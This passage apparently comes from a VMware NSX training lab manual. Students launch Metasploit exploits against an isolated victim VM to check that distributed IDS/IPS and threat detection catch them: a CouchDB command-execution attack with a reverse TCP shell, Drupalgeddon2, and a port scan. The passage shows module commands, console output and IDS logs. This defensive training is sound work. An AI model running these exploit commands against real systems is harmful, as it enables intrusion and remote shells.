1. If not already opened, use MTPuTTY to open an SSH session to SA-EXTVM-01.

2. Initiate the CouchDB Command Execution attack against the sa-web-03-victim virtual
machine.

a. Start Metasploit with root privileges.

sudo msfconsole
b. When prompted, enter VMware1! as the password.

The prompt changes to msf5>.

c. Select the CouchDB Command Execution exploit module.

use exploit/linux/http/apache_couchdb_cmd_exec
d. Define the IP address of the victim to attack.

set RHOST 172.16.10.13

e. Define the IP address of the local attacker machine.

set LHOST 192.168.100.10

f. Define the local port to use.

set LPORT 4445

The reverse shell will be established to this local port.

g. Initiate the exploit attempt.

exploit

96
3. Verify that the CouchDB Command Execution attack fails.

msf5 > use exploit/linux/http/apache_couchdb_cmd_exec

[*] Using configured payload linux/x64/shell_reverse_tcp
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set RHOST
172.16.10.13
RHOST => 172.16.10.13
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set LHOST
192.168.100.10
LHOST => 192.168.100.10
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set LPORT
4445
LPORT => 4445
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > exploit

[*] Started reverse TCP handler on 192.168.100.10:4445

[*] Generating curl command stager
[*] Using URL: http://0.0.0.0:8080/O0wyvs3bZJuoY
[*] Local IP: http:// 192.168.100.10:8080/O0wyvs3bZJuoY
[*] 172.16.10.13:5984 - The 1 time to exploit
[-] Exploit failed: NoMethodError undefined method `[]' for
nil:NilClass
[*] Server stopped.
[!] This exploit may require manual cleanup of '/tmp/kxwhsycb'
on the target
[!] This exploit may require manual cleanup of '/tmp/dzvpzcer'
on the target
[*] Exploit completed, but no session was created.
msf5 exploit(linux/http/apache_couchdb_cmd_exec) >
4. On the NSX UI Home page, navigate to Security > East West Security > Distributed IDS >
EVENTS.

5. Find and expand the event with the ET WEB_SPECIFIC_APPS Apache CouchDB Remote
Code Execution 1 details.

6. On the Intrusion Activity diagram, verify that the attack was prevented.

97
Lab 14 Troubleshooting NSX
Distributed IDS/IPS

Objective and Tasks

Use ESXCLI commands and logs to troubleshoot NSX Distributed IDS/IPS:
1. Review the NSX Distributed IDS/IPS Configuration from ESXCLI
2. Review the NSX Distributed IDS/IPS Log Files
3. Enable the IDS/IPS Event Logging and Generate Malicious Traffic
4. Prepare for the Next Lab

Task 1: Review the NSX Distributed IDS/IPS Configuration from

ESXCLI
You validate that the Distributed Intrusion Detection and Prevention configuration was
successfully realized in the dataplane.
1. Use MTPuTTY to open an SSH session to SA-ESXi-03.

2. Verify that IDS is enabled on the host.

nsxcli -c get ids status
An output similar to the following output appears.
NSX IDS Status
--------------------------------------------------
status: enabled
uptime: 267367 (3 days 02:16:07)
3. Retrieve the IDS profiles configured on the ESXi host.
nsxcli -c get ids profiles
At least one IDS profile must be configured on the host.

NSX IDS Profiles

--------------------------------------------------
Profile count: 1
1. 69dec1b2-648d-477c-bc3c-24aad86d5369

99
4. Retrieve the name of the dvfilter associated with the vNIC of the sa-web-03-victim virtual
machine.

[root@sa-esxi-03:~] summarize-dvfilter | grep -A9 sa-web-03

world 267791 vmm0:sa-web-03-victim vcUuid:'50 1d 28 11 7a eb 90
8e-a3 19 70 05 e3 4c 11 eb'
port 100663326 sa-web-03-victim.eth0
vNic slot 2
name: nic-267791-eth0-vmware-sfw.2
agentName: vmware-sfw
state: IOChain Attached
vmState: Attached
failurePolicy: failClosed
serviceVMID: 2
filter source: Dynamic Filter Creation
moduleName: nsxt-vsip-17107169
The vmware-sfw software construct stores and enforces the IDS/IPS rules in the ESXi hosts.
The summarize-dvfilter command is used to retrieve the name of vmware-sfw
associated with the vNIC of a particular VM. This example seeks to retrieve the vmware-sfw
name of the sa-web-01 VM, which is nic-267791-eth0-vmware-sfw.2. This
identifier is used to query the rules associated with the vNIC of this VM. The identifier might
be different in your environment.

5. Retrieve the IDS rules associated with a particular dvfilter.

vsipioctl getrules -f <dvfilter_name>

<dvfilter_name> is the name of the dvfilter that you obtained. In this example,
<dvfilter_name> is nic-267791-eth0-vmware-sfw.2.

An output similar to the following output appears with the IDP rules section. The IDS profile
id should match the output from the nsxcli -c get ids profiles command.

[root@sa-esxi-03:~] vsipioctl getrules -f nic-267791-eth0-

vmware-sfw.2
ruleset mainrs {
...
# IDP rules
rule 3048 at 1 inout protocol any from any to any with ids
profile 69dec1b2-648d-477c-bc3c-24aad86d5369 idp_protect;
}
6. Retrieve the IDS ev

100
7. ent statistics.

nsxcli -c get ids events stats

The number of events might differ in your lab.

--------------------------------------------------
NSX Intrusion Detection Service Statistics
--------------------------------------------------
Total 11
Critical 11
Non-Critical 0

Protos to MP
Sent 8
Dropped 0

Alerts to MP
Sent 11
Dropped 0

Event Queue
Dropped 0
--------------------------------------------------

Task 2: Review the NSX Distributed IDS/IPS Log Files

You review the ESXi log files to identify events related to Distributed Intrusion Detection and
Prevention.
1. If not already opened, use MTPuTTY to open an SSH session to SA-ESXi-03.

2. Review logs related to the realization of the IDS/IPS profile.

less /var/log/nsx-syslog.log | grep IDSApp

A message confirms that the IDS profile was successfully realized in the dataplane.

2020-11-26T15:39:14Z cfgAgent[264833]: NSX 264833 -

[nsx@6876 comp="nsx-controller" subcomp="cfgAgent"
tid="EB208700" level="info"] ids: IDSApp::processRequest:
Successfully processed config changes in 59.234000 ms

101
3. Review logs related to the realization of the IDS/IPS rules.

less /var/log/nsx-syslog.log | grep dfw

A message confirms that the IDS rule was successfully realized in the dataplane.

2020-11-26T15:39:14Z cfgAgent[264833]: NSX 264833 -

[nsx@6876 comp="nsx-controller" subcomp="cfgAgent"
tid="EAE81700" level="info"] dfw: Applied rule config to
filter nic-267791-eth0-vmware-sfw.2 of vif 776156fe-d83b-
402a-9ad1-4680a2746826
The dvfilter ID and VIF ID might be different in your lab. The dvfilter ID should match the ID
you retrieved by using the summarize-dvfilter command in the previous task.

4. Verify that no messages related to IDS/IPS events are logged by default.

less /var/log/nsx-idps/fast.log
The returned file is empty.

5. Press q to close the log file.

Task 3: Enable the IDS/IPS Event Logging and Generate Malicious

Traffic
You enable the IDS/IPS event logging, generate malicious traffic, and review the events from the
log files.

1. If not already opened, use MTPuTTY to open an SSH session to SA-ESXi-03.

2. Enable IDS/IPS event logging on the ESXi host.

nsxcli -c set ids engine alertlog enable

3. If not already opened, use MTPuTTY to open an SSH session to SA-EXTVM-01.

102
4. Initiate a Drupalgeddon2 exploit against the sa-web-03-victim virtual machine.

a. Start Metasploit with root privileges.

sudo msfconsole
b. When prompted, enter VMware1! as the password.

The prompt changes to msf5>.

c. Use the Metasploit console that you opened earlier to select the drupalgeddon2 exploit
module.

use exploit/unix/webapp/drupal_drupalgeddon2
d. Define the IP address of the victim to attack.

set RHOST 172.16.10.13

e. Define the port that the web application service runs on.

set RPORT 8080

f. Initiate the exploit attempt and wait for the attack to start.

exploit
g. When the attack is in progress, close the reverse TCP session.

exit

103
5. Return to SA-ESXi-03 and review logs related to IDS/IPS events.

less /var/log/nsx-idps/fast.log
The log displays events related to the Drupalgeddon2 attack.

12/01/2020-08:54:14.140927 [**] [1:4010461:2] ET

WEB_SPECIFIC_APPS [PT OPEN] Drupalgeddon2 <8.3.9 <8.4.6
<8.5.1 RCE Through Registration Form (CVE-2018-7600) [**]
[Classification: Attempted Administrator Privilege Gain]
[Priority: 1] {TCP} 192.168.100.10:41119 ->
172.16.10.13:8080
12/01/2020-08:54:15.076110 [**] [1:4010461:2] ET
WEB_SPECIFIC_APPS [PT OPEN] Drupalgeddon2 <8.3.9 <8.4.6
<8.5.1 RCE Through Registration Form (CVE-2018-7600) [**]
[Classification: Attempted Administrator Privilege Gain]
[Priority: 1] {TCP} 192.168.100.10:40555 ->
172.16.10.13:8080
12/01/2020-08:54:15.076110 [**] [1:4010720:2] ET EXPLOIT
php script base64 encoded Remote Code Execution 1 [**]
[Classification: Attempted User Privilege Gain] [Priority:
1] {TCP} 192.168.100.10:40555 -> 172.16.10.13:8080
12/01/2020-08:54:15.076135 [**] [1:4010720:2] ET EXPLOIT
php script base64 encoded Remote Code Execution 1 [**]
[Classification: Attempted User Privilege Gain] [Priority:
1] {TCP} 192.168.100.10:40555 -> 172.16.10.13:8080
12/01/2020-08:54:18.232463 [**] [1:4010461:2] ET
WEB_SPECIFIC_APPS [PT OPEN] Drupalgeddon2 <8.3.9 <8.4.6
<8.5.1 RCE Through Registration Form (CVE-2018-7600) [**]
[Classification: Attempted Administrator Privilege Gain]
[Priority: 1] {TCP} 192.168.100.10:33424 ->
172.16.10.13:8080
12/01/2020-08:54:18.232463 [**] [1:4010720:2] ET EXPLOIT
php script base64 encoded Remote Code Execution 1 [**]
[Classification: Attempted User Privilege Gain] [Priority:
1] {TCP} 192.168.100.10:33424 -> 172.16.10.13:8080
12/01/2020-08:54:18.232491 [**] [1:4010720:2] ET EXPLOIT
php script base64 encoded Remote Code Execution 1 [**]
[Classification: Attempted User Privilege Gain] [Priority:
1] {TCP} 192.168.100.10:33424 -> 172.16.10.13:8080
6. Press q to close the log file.

104
Task 4: Prepare for the Next Lab
You delete the IDS/IPS policy and rules.

1. On the NSX UI Home page, navigate to Security > East West Security > Distributed
IDS/IPS > RULES.

2. Click the vertical ellipsis icon near the 3-Tier Application IDS/IPS Policy and select Delete
Policy.

3. Click PUBLISH.

105
Lab 15 Using Network Traffic Analysis
to Detect Threats

Objective and Tasks

Use Network Traffic Analysis in NSX Intelligence to detect security threats:

1. Prepare for the Lab

2. Enable Threat Detection

3. Generate Malicious Traffic

4. Analyze Threat Detection Events

Task 1: Prepare for the Lab

You log in to the NSX UI.

1. From your student desktop, open Chrome.

2. Click the NSX-T Data Center > NSX Manager bookmark.

3. On the login page, enter jdoe@vclass.local as the user name and VMware1! as the
password.

Task 2: Enable Threat Detection

You enable threat detection for discovery events.

1. On the NSX UI Home page, navigate to Security > Network Traffic Analysis > Threat
Detections.

2. Navigate to the Event Definitions tab.

107
3. Enable threat detection for network service scanning events.

a. In the Discovery section, click the pencil icon next to Network Service Scanning.

b. Turn on the toggle.

c. Move the threshold slider to 1 (Lower Likelihood).

d. Click SAVE.

4. Verify that the Network Service Scanning event is On.

Task 3: Generate Malicious Traffic

You use Metasploit to initiate port scan on a web server.

1. Use MTPuTTY to open an SSH session to SA-EXTVM-01.

2. Initiate a port-scan against the sa-web-03-victim virtual machine to discover running services
that might be used as an attack vector.

a. Start Metasploit with root privileges.

sudo msfconsole
b. When prompted, enter VMware1! as the password.

The prompt changes to msf5>.

c. Select the port-scan module.

use auxiliary/scanner/portscan/syn
d. Specify the number of threads for the port-scan.

set THREADS 100

e. Define the IP address of the victim to attack.

set RHOST 172.16.10.13

f. Define the range of ports to scan.

set PORTS 1-1024,8000-9000

g. Run the port-scan.

run

108
3. Verify that the port-scan completed successfully.

The port-scan takes up to 15 minutes to complete.

msf5 auxiliary(scanner/ssh/ssh_login) > use

auxiliary/scanner/portscan/syn
msf5 auxiliary(scanner/portscan/syn) > set THREADS 100
THREADS => 100
msf5 auxiliary(scanner/portscan/syn) > set RHOST 172.16.10.13
RHOST => 172.16.10.13
msf5 auxiliary(scanner/portscan/syn) > set PORTS 1-1024,8000-
9000
PORTS => 1-1024,8000-9000
msf5 auxiliary(scanner/portscan/syn) > run

[+] TCP OPEN 172.16.10.13:22

[+] TCP OPEN 172.16.10.13:139
[+] TCP OPEN 172.16.10.13:445
[+] TCP OPEN 172.16.10.13:8080
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
The TCP ports 22, 139, 445, and 8080 are successfully opened in the sa-web-03-victim
(172.16.10.13) virtual machine. Such services can be potentially used as a vector for an attack.
4. Enter exit to close the msfconsole.

109
Task 4: Analyze Threat Detection Events
You examine the Threat Detection events dashboard.

1. On the NSX UI Home page, navigate to Security > Network Traffic Analysis > Threat
Detections.

2. Navigate to the Threat Detections tab.

3. Verify that at least one discovery event, represented in green, appears in the histogram.

4. Point to the green dot to gather additional information about the threat, including its score,
type, target and source virtual machines, and when it was first detected.

5. Navigate to the bottom of the dashboard and expand the event with the type Discovery.

6. Review additional information about the discovery threat and record the values in the table in
your student worksheet.

Discovery Threat

Threat Score

Time Detected

Type

Target VM(s)

Source VM(s)

Number of Targeted Ports

110